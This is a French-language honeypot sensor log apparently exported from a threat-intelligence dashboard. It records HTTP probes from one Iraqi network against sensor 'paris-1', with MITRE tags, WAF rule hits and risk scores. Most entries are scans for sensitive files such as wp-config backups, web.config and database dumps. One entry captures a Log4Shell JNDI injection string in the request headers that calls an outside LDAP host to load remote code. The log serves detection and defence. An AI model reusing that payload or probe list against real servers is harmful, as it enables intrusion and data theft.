Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /api.php UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_probe_api net_port_scan_fast Cible HTTP GET /api.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20633 Chemin / cible /api.php Service HTTP Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 46 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /api.php HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /api.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleW Requête brute (extrait) GET /api.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"php","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"c8a97588b7771aaeeaf43f790e83eca06dff8663","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":176,"payload_entropy":5.199206703417091,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20633,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":4.3,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":46,"tag_count":4,"anomaly_count":0,"campaign_key":"0fff2fcc0e622566c2469ac9a2f40c3ce337ad25","event_fingerprint":"a5299e80f931a3936b3f12ebee43e6c899043a09","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":348,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo"…
23/10/2026 11:45:46 UTC	TCP	20787 · HTTP	http	Scan de ports port scan syn · via HTTP:20787 · (reconnaissance) · → /.svn/entries	Élevée	Moyen · 60
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /.svn/entries UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 27 Recommandation Investiguer Tags 950326:rce-0 950468:nosqli-3 950470:nosqli-3 950519:leak-6 Cible HTTP GET /.svn/entries TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20787 Chemin / cible /.svn/entries Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 60 Confiance : Confiance 100 % — 4 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /.svn/entries HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-6 Payload (extrait) GET /.svn/entries HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) A Requête brute (extrait) GET /.svn/entries HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":2,"http_path_ext":"svn\/entries","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fec28f2e1aabccf1f7e02d7f5d2dd9dd95703725","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":181,"payload_entropy":5.173126656389219,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20787,"risk_waf":100,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":5.2,"risk_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":60,"tag_count":7,"anomaly_count":0,"campaign_key":"5be247f67e63e24196a0dc3febb91b1d23c34050","event_fingerprint":"040437eef42c7d595d63b555a74a11dd3048dde3","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":60,"correlation_boost":18},"nam…
23/10/2026 11:45:46 UTC	TCP	20787 · HTTP	http	Log4j JNDI log4j jndi · via HTTP:20787 · (tentative d'exploit)	Élevée	Élevé · 78
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1190 Accès Exécution Protocole GET / UA ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} Émulateur HTTP WAF 45 Recommandation Investiguer Tags 950326:rce-0 950406:ssrf-3 950418:jndi-0 950470:nosqli-3 Cible HTTP GET / TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20787 Chemin / cible / Service HTTP Pourquoi cette classification : Type « Log4j JNDI » (signaux protocolaires) · confiance 95% Confiance classification 100% Corrélation +18 Risque capteur Élevé · 78 Confiance : Confiance 95 % — Motif catalogue confirmé · 7 tag(s) WAF Signaux ET-EXPLOIT-Log4j pat-fb-001 ET-EXPLOIT-Log4j-sub Technique MITRE T1190 Tactiques MITRE Accès initial Exécution Motifs de détection (base) Log4j JNDI Ligne de requête `GET / HTTP/1.1` User-Agent ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} Règles WAF rce-0 ssrf-3 jndi-0 nosqli-3 cache-poison-xfh sap-sapcontrol-path log4shell-jndi Payload (extrait) GET / HTTP/1.1 Host: 62.3.50.33:20787 Connection: close Content-Length: 0 User-Agent: ${jndi:ldap://192.168.195.130:4606/Log Requête brute (extrait) GET / HTTP/1.1 Host: 62.3.50.33:20787 Connection: close Content-Length: 0 User-Agent: ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} X-Forwarded-For: ${jndi:ldap://192.168.195.130:4606/Log4ShellPayload} X-Api-Version: ${jndi:ldap://192.168.195. Meta JSON brut {"http_header_count":9,"http_query_params":0,"http_path_depth":0,"http_path_ext":null,"http_ua_hash":"76e5faca84dfcd8bc84c3b24d9c3cf47a4c10bb9","http_host_hash":"8e9fd798909c19ea0b8229bcf516dc793dc8f797","http_target_hash":"42099b4af021e53fd8fd4e056c2568d7c2e3ffa8","http_referer_hash":"76e5faca84dfcd8bc84c3b24d9c3cf47a4c10bb9","http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":false,"bytes_in":492,"payload_entropy":5.282506756650471,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20787,"risk_waf":100,"risk_classification":94,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":12,"risk_granularity":5.7,"risk_breakdown":{"waf":100,"classification":94,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":78,"tag_count":12,"anomaly_count":0,"campaign_key":"3b35e0ab14cbc2217ff86d3ff5966ea935d5ca93","event_fingerprint":"b1aa294b64d732d5808aaf0de842c17c084dac72","classification_reason":"Type \u00ab log4j_jndi \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":1,"classification_confidence":1,"precision_score":342,"precision_signals":["ET-EXPLOIT-Log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"kb_rule_ids":["ET-EXPLOIT-Log4j","pat-fb-001","ET-EXPLOIT-Log4j-sub"],"matched_patterns":["pat-fb-001"],"matched_pattern_names":["Log4j JNDI"],"pattern_ids":["pat-fb-001"],"confidence_breakdown":{"waf":100,"classificati…
23/10/2026 11:45:46 UTC	TCP	20617 · HTTP	http	Scan de ports port scan syn · via HTTP:20617 · (reconnaissance) · → /web.config	Élevée	Moyen · 44
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /web.config UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_sensitive_path net_port_scan_fast Cible HTTP GET /web.config TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20617 Chemin / cible /web.config Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 44 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /web.config HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"config","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fb61e36fe9095535f127e3353d957f1c1310e8e9","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.199011692965391,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20617,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.7,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":44,"tag_count":4,"anomaly_count":0,"campaign_key":"d917cdf2aa821ca76e6aacbd332dfb41d282d9ae","event_fingerprint":"766933979767c1306251db0ea6cb183ac9ef5156","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15,"risk_score":44,"correlation_boost":18},"named_classi…
23/10/2026 11:45:46 UTC	TCP	20618 · HTTP	http	Scan de ports port scan syn · via HTTP:20618 · (reconnaissance) · → /web.config	Élevée	Moyen · 44
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /web.config UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_sensitive_path net_port_scan_fast Cible HTTP GET /web.config TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20618 Chemin / cible /web.config Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 44 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /web.config HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"config","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fb61e36fe9095535f127e3353d957f1c1310e8e9","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.199011692965391,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20618,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.9,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":44,"tag_count":4,"anomaly_count":0,"campaign_key":"a4048cf63de22beb6ba64cd79069c557ceee1e71","event_fingerprint":"1765c6a10c9e18b0a1d7e3b2652e3e65c4117151","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15,"risk_score":44,"correlation_boost":18},"named_classi…
23/10/2026 11:45:46 UTC	TCP	31832 · HTTP	http	Scan de ports port scan syn · via HTTP:31832 · (reconnaissance) · → /database.sql	Élevée	Moyen · 48
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /database.sql UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_backup_file_scan http_backup_path Cible HTTP GET /database.sql TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 31832 Chemin / cible /database.sql Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 48 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /database.sql HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /database.sql HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) A Requête brute (extrait) GET /database.sql HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"sql","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"a256b81a49571be3bda096f7ff40f264f6f65ea6","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":181,"payload_entropy":5.216958679697306,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":31832,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":5.9,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":48,"tag_count":5,"anomaly_count":0,"campaign_key":"d257475091f71863cf6a058824b69b5d2b427825","event_fingerprint":"eda2c983a235b2739eced4c82592e6cf962fa5de","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":48,"correlation_boost":18},"named_classific…
23/10/2026 11:45:46 UTC	TCP	20635 · HTTP	http	Scan de ports port scan syn · via HTTP:20635 · (reconnaissance) · → /wp-config.php.bak	Élevée	Moyen · 61
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /wp-config.php.bak UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 29 Recommandation Investiguer Tags 950326:rce-0 950470:nosqli-3 950518:leak-5 950521:leak-8 Cible HTTP GET /wp-config.php.bak TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20635 Chemin / cible /wp-config.php.bak Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 61 Confiance : Confiance 100 % — 4 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /wp-config.php.bak HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 leak-5 leak-8 Payload (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x Requête brute (extrait) GET /wp-config.php.bak HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"bak","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"0372d7102c333673ea0de9e60c73911cb60bfb5f","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":186,"payload_entropy":5.2529992835642085,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20635,"risk_waf":100,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":25,"risk_boost":0,"risk_granularity":6,"risk_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25},"risk_score":61,"tag_count":8,"anomaly_count":0,"campaign_key":"e75197b77c9f6a1df2d37b183db8e5f013b9c991","event_fingerprint":"3ab12be55a09c623edb32f7d01a49e609fada71a","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":100,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":25,"risk_score":61,"correlation_boost":18},"named_classif…
23/10/2026 11:45:46 UTC	TCP	20638 · HTTP	http	Scan de ports port scan syn · via HTTP:20638 · (reconnaissance) · → /web.config	Élevée	Moyen · 47
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /web.config UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_sensitive_path net_port_scan_fast Cible HTTP GET /web.config TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20638 Chemin / cible /web.config Service HTTP Pourquoi cette classification : Sonde fichier sensible / config · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 47 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /web.config HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /web.config HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"config","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"fb61e36fe9095535f127e3353d957f1c1310e8e9","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.199011692965391,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20638,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":5.1,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":47,"tag_count":4,"anomaly_count":0,"campaign_key":"fb8225274dbcb41a298c0b599039a9e5eae3e5e5","event_fingerprint":"f494b1f9d4c8d2b9358c9e7a73ac058494f73f9b","classification_reason":"Sonde fichier sensible \/ config \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":293,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15,"risk_score":47,"correlation_boost":18},"named_classi…
23/10/2026 11:45:46 UTC	TCP	20635 · HTTP	http	Scan de ports port scan syn · via HTTP:20635 · (reconnaissance) · → /upload.php	Élevée	Moyen · 46
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /upload.php UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_probe_upload net_port_scan_fast Cible HTTP GET /upload.php TLS SNI — Capteur paris-1
Preuve / Evidence Méthode GET Port 20635 Chemin / cible /upload.php Service HTTP Pourquoi cette classification : Type « Scan de ports » (signaux protocolaires) · confiance 100% Confiance classification 100% Corrélation +18 Risque capteur Moyen · 46 Confiance : Confiance 100 % — 2 tag(s) WAF Signaux MITRE-T1046 SIGMA-net-port-scan Beh Scan Burst Beh Multi Port 60S Technique MITRE T1046 Tactiques MITRE Reconnaissance Ligne de requête `GET /upload.php HTTP/1.1` User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Règles WAF rce-0 nosqli-3 Payload (extrait) GET /upload.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) App Requête brute (extrait) GET /upload.php HTTP/1.1 Accept-Encoding: identity Host: 62.3.50.33 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Accept: / Connection: close Meta JSON brut {"http_header_count":5,"http_query_params":0,"http_path_depth":1,"http_path_ext":"php","http_ua_hash":"5002ada1c05fac60ce2af638d5f54066641d121c","http_host_hash":"0991dad1e85d945fa26d249d6238901b89cb8349","http_target_hash":"12813e19e64b5551f1f470db466d40a4c1ad07bc","http_referer_hash":null,"http_method":"GET","http_ua_is_cli":false,"http_ua_is_browser":true,"bytes_in":179,"payload_entropy":5.224187125958968,"port_category":"registered","org":"Kurdistan Net Company for Computer and Internet Ltd.","service":"http","app_proto":"http","asn":206206,"country":"IQ","dst_port":20635,"risk_waf":60,"risk_classification":64,"risk_behavior":0,"risk_geo":0,"risk_protocol":43,"risk_novelty":15,"risk_boost":0,"risk_granularity":4.6,"risk_breakdown":{"waf":60,"classification":64,"behavior":0,"geo":0,"protocol":43,"novelty":15},"risk_score":46,"tag_count":4,"anomaly_count":0,"campaign_key":"6266b79cf33239c34671af4d22c30a679d36b32a","event_fingerprint":"d60f1cb72926406cb2eacec5371f9204d3c0749f","classification_reason":"Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%","confidence":1,"classification_confidence":1,"precision_score":348,"precision_signals":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"kb_rule_ids":["MITRE-T1046","SIGMA-net-port-scan","INT-beh-scan-burst","INT-beh-multi-port-60s","INT-upstream","INT-waf-score"],"confidence_breakdown":{"waf":60,"classification":64,"behavior":0,"geo"…
23/10/2026 11:45:46 UTC	TCP	22840 · HTTP	http	Scan de ports port scan syn · via HTTP:22840 · (reconnaissance) · → /admin.php	Élevée	Moyen · 48
Étape Reconnaissance Chaîne Reconnaissance Persona mail.sensor-1.internal Rôle capteur Renseignement menaces Corrélations Scan rapide multi-ports Campagne multi-ports Multi-protocole corrélé (5 min) MITRE T1046 Reconnaissance Protocole GET /admin.php UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Émulateur HTTP WAF 13 Recommandation Surveiller Tags 950326:rce-0 950470:nosqli-3 http_admin_panel_probe http_probe_admin Cible HTTP GET /admin.php TLS SNI — Capteur paris-1
